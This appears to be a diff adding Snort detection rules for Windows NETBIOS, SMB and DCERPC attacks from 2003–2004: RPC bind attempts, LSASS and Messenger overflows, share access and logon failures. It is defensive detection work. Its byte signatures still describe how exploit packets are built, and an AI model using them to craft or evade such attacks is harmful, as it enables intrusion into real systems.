+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC ISystemActivator bind attempt"; flow:to_server,established; content:"|FF|SMB%"; depth:5; offset:4; nocase; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00|"; within:12; distance:5; nocase; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind.call.attempt; reference:bugtraq,8205; reference:cve,2003-0352; reference:nessus,11808; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:2193; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC ISystemActivator unicode bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,&,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 05 00 0B|"; within:15; distance:4; byte_test:1,&,16,1,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind.call.attempt; reference:bugtraq,8811; reference:cve,2003-0813; reference:nessus,12206; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2491; rev:7;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCERPC ISystemActivator bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,^,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C|PIPE|5C 00 05 00 0B|"; within:10; distance:4; byte_test:1,&,16,1,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind.call.attempt; reference:bugtraq,8811; reference:cve,2003-0813; reference:nessus,12206; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2492; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCERPC ISystemActivator unicode bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,&,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 05 00 0B|"; within:15; distance:4; byte_test:1,&,16,1,relative; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind.call.attempt; reference:bugtraq,8811; reference:cve,2003-0813; reference:nessus,12206; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2493; rev:7;)
+
+
+
+
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC Remote Activation bind attempt"; flow:to_server,established; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; tag:session,5,packets; reference:bugtraq,8234; reference:bugtraq,8458; reference:cve,2003-0528; reference:cve,2003-0605; reference:cve,2003-0715; reference:nessus,11798; reference:nessus,11835; reference:url,www.microsoft.com/technet/security/bulletin/MS03-039.mspx; classtype:attempted-admin; sid:2251; rev:14;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC Remote Activation bind attempt"; flow:to_server,established; content:"|FF|SMB%"; depth:5; offset:4; nocase; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00|"; within:12; distance:5; nocase; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; tag:session,5,packets; reference:bugtraq,8234; reference:bugtraq,8458; reference:cve,2003-0528; reference:cve,2003-0605; reference:cve,2003-0715; reference:nessus,11798; reference:nessus,11835; reference:url,www.microsoft.com/technet/security/bulletin/MS03-039.mspx; classtype:attempted-admin; sid:2252; rev:14;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC Messenger Service buffer overflow attempt"; content:"|04 00|"; depth:2; byte_test:1,>,15,2,relative; byte_jump:4,86,little,align,relative; byte_jump:4,8,little,align,relative; byte_test:4,>,1024,0,little,relative; reference:bugtraq,8826; reference:cve,2003-0717; reference:nessus,11888; reference:nessus,11890; reference:url,www.microsoft.com/technet/security/bulletin/MS03-043.mspx; classtype:attempted-admin; sid:2257; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC Messenger Service buffer overflow attempt"; flow:to_server,established; content:"|FF|SMB%"; depth:5; offset:4; nocase; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00|"; within:12; distance:5; nocase; content:"|04 00|"; within:2; byte_test:1,>,15,2,relative; byte_jump:4,86,little,align,relative; byte_jump:4,8,little,align,relative; byte_test:4,>,1024,0,little,relative; reference:bugtraq,8826; reference:cve,2003-0717; reference:nessus,11888; reference:nessus,11890; reference:url,www.microsoft.com/technet/security/bulletin/MS03-043.mspx; classtype:attempted-admin; sid:2258; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCERPC Workstation Service unicode bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,&,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 05 00 0B|"; within:15; distance:4; byte_test:1,&,16,1,relative; content:"|98 D0 FF|k|12 A1 10|6|98|3F|C3 F8|~4Z"; within:16; distance:29; reference:bugtraq,9011; reference:cve,2003-0812; reference:url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx; classtype:misc-attack; sid:2308; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCERPC Workstation Service bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,^,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C|PIPE|5C 00 05 00 0B|"; within:10; distance:4; byte_test:1,&,16,1,relative; content:"|98 D0 FF|k|12 A1 10|6|98|3F|C3 F8|~4Z"; within:16; distance:29; reference:bugtraq,9011; reference:cve,2003-0812; reference:url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx; classtype:misc-attack; sid:2309; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC Workstation Service unicode bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,&,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 05 00 0B|"; within:15; distance:4; byte_test:1,&,16,1,relative; content:"|98 D0 FF|k|12 A1 10|6|98|3F|C3 F8|~4Z"; within:16; distance:29; reference:bugtraq,9011; reference:cve,2003-0812; reference:url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx; classtype:misc-attack; sid:2310; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC Workstation Service bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,^,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C|PIPE|5C 00 05 00 0B|"; within:10; distance:4; byte_test:1,&,16,1,relative; content:"|98 D0 FF|k|12 A1 10|6|98|3F|C3 F8|~4Z"; within:16; distance:29; reference:bugtraq,9011; reference:cve,2003-0812; reference:url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx; classtype:misc-attack; sid:2311; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1024: (msg:"NETBIOS DCERPC Workstation Service direct service bind attempt"; flow:to_server,established; content:"|05 00 0B|"; depth:3; byte_test:1,&,16,1,relative; content:"|98 D0 FF|k|12 A1 10|6|98|3F|C3 F8|~4Z"; within:16; distance:29; reference:bugtraq,9011; reference:cve,2003-0812; reference:url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx; classtype:misc-attack; sid:2315; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 1024: (msg:"NETBIOS DCERPC Workstation Service direct service access attempt"; content:"|04 00|"; depth:2; byte_test:1,&,16,2,relative; content:"|98 D0 FF|k|12 A1 10|6|98|3F|C3 F8|~4Z"; within:16; distance:22; reference:bugtraq,9011; reference:cve,2003-0812; reference:url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx; classtype:misc-attack; sid:2316; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC print spool bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00 05 00 0B|"; within:17; distance:5; byte_test:1,&,16,1,relative; content:"xV4|12|4|12 CD AB EF 00 01 23|Eg|89 AB|"; within:16; distance:29; flowbits:set,dce.printer.bind; flowbits:noalert; classtype:protocol-command-decode; sid:2348; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC enumerate printers request attempt"; flow:to_server,established; content:"|FF|SMB%"; depth:5; offset:4; nocase; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00|"; within:12; distance:5; nocase; content:"|05|"; distance:1; content:"|00|"; within:1; distance:1; byte_test:1,&,3,0,relative; content:"|00 00|"; within:2; distance:19; flowbits:isset,dce.printer.bind; classtype:attempted-recon; sid:2349; rev:5;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Session Setup NTMLSSP asn1 overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBs"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_test:4,&,2147483648,21,relative,little; content:!"NTLMSSP"; within:7; distance:27; asn1:double_overflow, bitstring_overflow, relative_offset 27, oversize_length 2048; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12065; reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; classtype:protocol-command-decode; sid:2382; rev:18;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Session Setup NTMLSSP asn1 overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBs"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; byte_test:4,&,2147483648,21,relative,little; content:!"NTLMSSP"; within:7; distance:27; asn1:double_overflow, bitstring_overflow, relative_offset 27, oversize_length 2048; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12065; reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; classtype:protocol-command-decode; sid:2383; rev:18;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Session Setup AndX request username overflow attempt"; flow:to_server,established; content:"|00|"; depth:1; byte_test:2,>,322,2; content:"|FF|SMBs"; depth:5; offset:4; nocase; byte_test:1,<,128,6,relative; content:"|00 00 00 00|"; within:4; distance:42; byte_test:2,>,255,8,relative,little; content:!"|00|"; within:255; distance:10; reference:bugtraq,9752; reference:url,www.eeye.com/html/Research/Advisories/AD20040226.html; classtype:attempted-admin; sid:2401; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Session Setup AndX request username overflow attempt"; flow:to_server,established; content:"|00|"; depth:1; byte_test:2,>,322,2; content:"|FF|SMBs"; depth:5; offset:4; nocase; byte_test:1,<,128,6,relative; content:"|00 00 00 00|"; within:4; distance:42; byte_test:2,>,255,8,relative,little; content:!"|00|"; within:255; distance:10; reference:bugtraq,9752; reference:url,www.eeye.com/html/Research/Advisories/AD20040226.html; classtype:attempted-admin; sid:2402; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Session Setup AndX request unicode username overflow attempt"; flow:to_server,established; content:"|00 00|"; distance:0; content:"|00 00|"; distance:0; content:"|00|"; depth:1; byte_test:2,>,322,2; content:"|FF|SMBs"; depth:5; offset:4; nocase; byte_test:1,&,128,6,relative; byte_test:2,>,255,54,relative,little; content:"|00|"; distance:56; content:"|00 00|"; distance:255; content:"|00 00|"; distance:0; reference:bugtraq,9752; reference:url,www.eeye.com/html/Research/Advisories/AD20040226.html; classtype:attempted-admin; sid:2403; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt"; flow:to_server,established; content:"|00 00|"; distance:0; content:"|00 00|"; distance:0; content:"|00|"; depth:1; byte_test:2,>,322,2; content:"|FF|SMBs"; depth:5; offset:4; nocase; byte_test:1,&,128,6,relative; byte_test:2,>,255,54,relative,little; content:"|00|"; distance:56; content:"|00 00|"; distance:255; content:"|00 00|"; distance:0; reference:bugtraq,9752; reference:url,www.eeye.com/html/Research/Advisories/AD20040226.html; classtype:attempted-admin; sid:2404; rev:5;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCEPRC ORPCThis request flood attempt"; flow:to_server,established; content:"|05|"; within:1; content:"|00|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|05|"; within:1; distance:21; content:"MEOW"; flowbits:isset,dce.isystemactivator.bind.call.attempt; threshold:type both, track by_dst, count 20, seconds 60; reference:bugtraq,8811; reference:cve,2003-0813; reference:nessus,12206; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:misc-attack; sid:2494; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCEPRC ORPCThis request flood attempt"; flow:to_server,established; content:"|05|"; within:1; content:"|00|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|05|"; within:1; distance:21; content:"MEOW"; flowbits:isset,dce.isystemactivator.bind.call.attempt; threshold:type both, track by_dst, count 20, seconds 60; reference:bugtraq,8811; reference:cve,2003-0813; reference:nessus,12206; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:misc-attack; sid:2495; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCEPRC ORPCThis request flood attempt"; flow:to_server,established; content:"|05|"; within:1; content:"|00|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"|05|"; within:1; distance:21; content:"MEOW"; flowbits:isset,dce.isystemactivator.bind.call.attempt; threshold:type both, track by_dst, count 20, seconds 60; reference:bugtraq,8811; reference:cve,2003-0813; reference:nessus,12206; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:misc-attack; sid:2496; rev:7;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC LSASS bind attempt"; flow:to_server,established; content:"|05|"; within:1; content:"|00|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"j|28 19|9|0C B1 D0 11 9B A8 00 C0|O|D9|.|F5|"; within:16; distance:29; flowbits:set,netbios.lsass.bind.attempt; flowbits:noalert; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2507; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC LSASS direct bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB"; depth:4; offset:4; nocase; content:"|05|"; content:"|0B|"; within:1; distance:1; content:"j|28 19|9|0C B1 D0 11 9B A8 00 C0|O|D9|.|F5|"; within:16; distance:29; flowbits:set,netbios.lsass.bind.attempt; flowbits:noalert; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2524; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC LSASS DsRolerUpgradeDownlevelServer Exploit attempt"; flow:to_server,established; content:"|05|"; within:1; content:"|00|"; within:1; distance:1; content:"|09 00|"; within:2; distance:19; flowbits:isset,netbios.lsass.bind.attempt; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-admin; sid:2508; rev:6;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCERPC LSASS unicode bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,&,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 05 00 0B|"; within:15; distance:4; byte_test:1,&,16,1,relative; content:"j|28 19|9|0C B1 D0 11 9B A8 00 C0|O|D9|.|F5|"; within:16; distance:29; flowbits:set,netbios.lsass.bind.attempt; flowbits:noalert; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2509; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCERPC LSASS bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; byte_test:2,^,1,5,relative; content:"&|00|"; within:2; distance:56; content:"|5C|PIPE|5C 00 05 00 0B|"; within:10; distance:4; byte_test:1,&,16,1,relative; content:"j|28 19|9|0C B1 D0 11 9B A8 00 C0|O|D9|.|F5|"; within:16; distance:29; flowbits:set,netbios.lsass.bind.attempt; flowbits:noalert; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2510; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCERPC LSASS direct bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB"; depth:4; offset:4; nocase; content:"|05|"; content:"|0B|"; within:1; distance:1; content:"j|28 19|9|0C B1 D0 11 9B A8 00 C0|O|D9|.|F5|"; within:16; distance:29; flowbits:set,netbios.lsass.bind.attempt; flowbits:noalert; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2525; rev:6;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB DCERPC LSASS DsRolerUpgradeDownlevelServer exploit attempt"; flow:to_server,established; flowbits:isset,netbios.lsass.bind.attempt; content:"|FF|SMB"; depth:4; offset:4; nocase; content:"|05|"; distance:59; content:"|00|"; within:1; distance:1; content:"|09 00|"; within:2; distance:19; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-admin; sid:2511; rev:9;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC LSASS bind attempt"; flow:to_server,established; content:"|FF|SMB%"; depth:5; offset:4; nocase; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00|"; within:12; distance:5; nocase; content:"|05|"; within:1; distance:2; content:"|0B|"; within:1; distance:1; byte_test:1,&,1,0,relative; content:"j|28 19|9|0C B1 D0 11 9B A8 00 C0|O|D9|.|F5|"; within:16; distance:29; flowbits:set,netbios.lsass.bind.attempt; flowbits:noalert; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2512; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC LSASS direct bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB"; depth:4; offset:4; nocase; content:"|05|"; content:"|0B|"; within:1; distance:1; content:"j|28 19|9|0C B1 D0 11 9B A8 00 C0|O|D9|.|F5|"; within:16; distance:29; flowbits:set,netbios.lsass.bind.attempt; flowbits:noalert; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2526; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC LSASS unicode bind attempt"; flow:to_server,established; content:"|00|"; depth:1; content:"|FF|SMB%"; depth:5; offset:4; nocase; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 05 00 0B|"; within:15; distance:4; byte_test:1,&,16,1,relative; content:"j|28 19|9|0C B1 D0 11 9B A8 00 C0|O|D9|.|F5|"; within:16; distance:29; flowbits:set,netbios.lsass.bind.attempt; flowbits:noalert; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:protocol-command-decode; sid:2513; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS DCERPC LSASS DsRolerUpgradeDownlevelServer exploit attempt"; flow:to_server,established; flowbits:isset,netbios.lsass.bind.attempt; content:"|FF|SMB"; depth:4; offset:4; nocase; content:"|05|"; distance:59; content:"|00|"; within:1; distance:1; content:"|09 00|"; within:2; distance:19; reference:bugtraq,10108; reference:cve,2003-0533; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-admin; sid:2514; rev:7;)
+alert udp $EXTERNAL_NET 137 -> $HOME_NET any (msg:"NETBIOS NS lookup response name overflow attempt"; byte_test:1,>,127,2; content:"|00 01|"; depth:2; offset:6; byte_test:1,>,32,12; reference:bugtraq,10333; reference:bugtraq,10334; reference:cve,2004-0444; reference:cve,2004-0445; reference:url,www.eeye.com/html/Research/Advisories/AD20040512A.html; classtype:attempted-admin; sid:2563; rev:4;)
+alert udp $EXTERNAL_NET 137 -> $HOME_NET 137 (msg:"NETBIOS NS lookup short response attempt"; dsize:<56; byte_test:1,>,127,2; content:"|00 01|"; depth:2; offset:6; reference:bugtraq,10334; reference:bugtraq,10335; reference:cve,2004-0444; reference:cve,2004-0445; reference:url,www.eeye.com/html/Research/Advisories/AD20040512C.html; classtype:attempted-admin; sid:2564; rev:4;)
+alert tcp $HOME_NET 445 -> $EXTERNAL_NET any (msg:"NETBIOS SMB-DS repeated logon failure"; flow:from_server,established; content:"|FF|SMB"; depth:4; offset:4; content:"s"; within:1; content:"m|00 00 C0|"; within:4; threshold:type threshold,track by_dst,count 10,seconds 60; classtype:unsuccessful-user; sid:2924; rev:3;)
+alert tcp $HOME_NET 139 -> $EXTERNAL_NET any (msg:"NETBIOS SMB repeated logon failure"; flow:from_server,established; content:"|FF|SMB"; depth:4; offset:4; content:"s"; within:1; content:"m|00 00 C0|"; within:4; threshold:type threshold,track by_dst,count 10,seconds 60; classtype:unsuccessful-user; sid:2923; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB nddeapi bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:" 2_/&|C1|v|10 B5|I|07|M|07 86 19 DA|"; within:16; distance:29; flowbits:set,smb.tree.bind.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2932; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB InitiateSystemShutdown unicode andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 18|"; within:2; distance:19; classtype:protocol-command-decode; sid:2994; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB C$ andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"C|24 00|"; distance:2; nocase; content:!"IPC|24 00|"; within:5; distance:-5; nocase; classtype:protocol-command-decode; sid:2976; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NDdeSetTrustedShareW unicode overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0C|"; within:2; distance:19; isdataat:512,relative; content:!"|00 00|"; within:512; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2939; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS nddeapi andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C|nddeapi|00|"; within:9; distance:51; nocase; flowbits:set,smb.tree.create.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2958; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NDdeSetTrustedShareW unicode overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0C|"; within:2; distance:19; isdataat:512,relative; content:!"|00 00|"; within:512; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2937; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg andx bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; classtype:protocol-command-decode; sid:2988; rev:4;)
